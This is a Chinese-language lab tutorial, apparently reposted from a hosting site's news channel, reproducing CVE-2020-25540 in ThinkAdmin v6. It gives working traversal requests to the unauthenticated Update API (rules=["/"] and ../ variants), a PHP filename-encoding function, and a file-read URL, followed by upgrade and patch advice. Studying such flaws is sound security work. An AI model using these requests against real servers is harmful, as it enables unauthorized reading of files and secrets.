您好,登錄后才能下訂單哦!
如何分析目錄遍歷文件讀取漏洞CVE-2020-25540,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
環境搭建
phpstudy2018+ThinkAdmin v6.0.3
ThinkAdmin版本 ≤ 2020.08.03.01
https://github.com/zoujingli/ThinkAdmin/tree/a57c3a9373bc89f5eaa4142d047481a898b5757e
Composer命令
\1. 安裝Composer命令,phpstudy中PHP設置成7.1或以上版本,并把對應的文件夾放入環境變量path中
\2. 在phpstudy服務器中打開php.ini文件,找到extension=php_openssl.dll前面的分號去掉,意思是打開ssl擴展,目的是為了能在cmd命令中能進行訪問
\3. 安裝composer.phar,找到下載內容的地方,去下載當前最新版本的composer.phar,雙擊安裝,不用勾選
下載地址https://getcomposer.org/Composer-Setup.exe
\4. 配置環境變量后自動選擇了
然后一直下一步,安裝完成
\5. 安裝完成后在cmd命令行輸入composer查看是否安裝成功
\6. 設置阿里云 Composer 代理
由于國內訪問Composer比較慢,建議設置阿里云Composer鏡像,運行如下命令設置阿里云代理
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer
\7. 搜索下載ThinkAdminV6的漏洞版本到本地
\8. 進入ThinkAdmin目錄進行安裝
composer install
\9. 然后進config/database.php目錄下修改配置文件,需要創建一個數據庫
修改數據庫連接所用的賬號密碼 root/root
要將 thinkadmin 安裝包里的 admin_v6.sql 文件導入到數據庫
快速新建數據庫
數據庫名:admin_v6
常用source 命令
進入mysql數據庫控制臺,
如mysql -u root -p
mysql>use 數據庫
然后使用source命令,后面參數為腳本文件(如這里用到的.sql)
mysql>source d:wcnc_db.sql
成功導入
\10. php進行運行 php think run
http://ip:8000打開頁面
目錄遍歷/任意文件讀取
可以在瀏覽器直接構造,也可以burp抓包改包
①使用burp抓取首頁的包,發送到Repeater模塊構造數據包獲取目錄
②在Repeater模塊中把GET修改成POST,url后添加 ?s=admin/api.Update/node
在下面輸入rules=%5b%22%2f%22%5d //rules=["/"]
③點擊"Send"發送,可以看到返回包中帶有目錄列表了
注:沒有返回列表,是因為抓包時不是第一次加載頁面,Content-Type字段被替換成為Cache-Control,雖然200但是列表內容為空。
抓第一次加載頁面時的包就沒問題
返回結果
rules=["/"]會遍歷 E:\phpstudy2018\PHPTutorial\WWW\ThinkAdmin6 下所有文件
HTTP/1.1 200 OKHost: 192.168.80.111:8000Date: Mon, 30 Nov 2020 10:32:39 +0800Connection: closeX-Powered-By: PHP/7.2.1Content-Type:application/json; charset=utf-8Set-Cookie: think_lang=zh-cn; path=/Set-Cookie: PHPSESSID=8a43a78b3ebd325158a78608ac57107a; path=/{"code":1,"info":"獲取文件列表成功!","data":{"rules":["\/"],"ignore":[],"list":[{"name":"\/admin_v6.sql","hash":"a6add0e2aab0e7d45f1ef35ad7846c52"},{"name":"\/app\/admin\/controller\/Auth.php","hash":"9a254f39ccdb4e334d48a8596d4ced57"},{"name":"\/app\/admin\/controller\/Config.php","hash":"09a65b23959905b7ea511e61b75d9626"},{"name":"\/app\/admin\/controller\/Index.php","hash":"da3736920e43b33e18e0ba72407c8588"},{"name":"\/app\/admin\/controller\/Login.php","hash":"c1820e476b786a793a48ff893bf8ed3c"},{"name":"\/app\/admin\/controller\/Menu.php","hash":"d278f7948bfbe005987c16d18d2f49cb"},{"name":"\/app\/admin\/controller\/Oplog.php","hash":"7340a732685f2d4e91c01b07aa3efc4d"},{"name":"\/app\/admin\/controller\/Queue.php","hash":"88ca8b37cb205adbbf771878836366be"},{"name":"\/app\/admin\/controller\/User.php","hash":"52c893ed2f2390e6a46ca3d0fcee59da"},{"name":"\/app\/admin\/controller\/api\/Plugs.php","hash":"db98179054e8fe3a051f97901ea9ff2b"},/*省略一萬行*/{"name":"\/vendor\/zoujingli\/wechat-developer\/composer.json","hash":"7db3f4ea9c17c21174c665b22992e97a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/include.php","hash":"1434ae58cf94166d7097fe29ba0d42da"},{"name":"\/vendor\/zoujingli\/wechat-developer\/readme.md","hash":"5dc2765147e9aff90a838578a1dd8083"},{"name":"\/啟動須知.txt","hash":"263d4e9a08fbab5ac55e78cf537acb6f"}]}}
rules=["../"]會遍歷 E:\phpstudy2018\PHPTutorial\WWW 下所有文件
rules=["../../"]會遍歷 E:\phpstudy2018\PHPTutorial 下所有文件
rules=["../../../"]會遍歷 E:\phpstudy2018 下所有文件
rules=["../../../../"]會遍歷 E:\ 下所有文件
目錄遍歷內容超出限制會報錯
①讀取根目錄下【啟動須知.txt】
②在使用加密函數對文件名進行加密,等下傳參要用
<?php function encode($content) { //加密正常文件名 //list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; //加密中文文件名 list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GB2312', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }$content="啟動須知.txt";echo encode($content);?>
在虛擬機運行
在線運行
5i6s524v5s6j5y4q1a383c38
③訪問下面鏈接即可讀取到文件內容
http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38
base64解密得到文件內容
由于Update.php這個文件中的函數方法沒有授權導致的
1.升級到2020.08.03.01之后的版本
2.使用官方的臨時修復方案
https://github.com/zoujingli/ThinkAdmin/issues/244
看完上述內容,你們掌握如何分析目錄遍歷文件讀取漏洞CVE-2020-25540的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。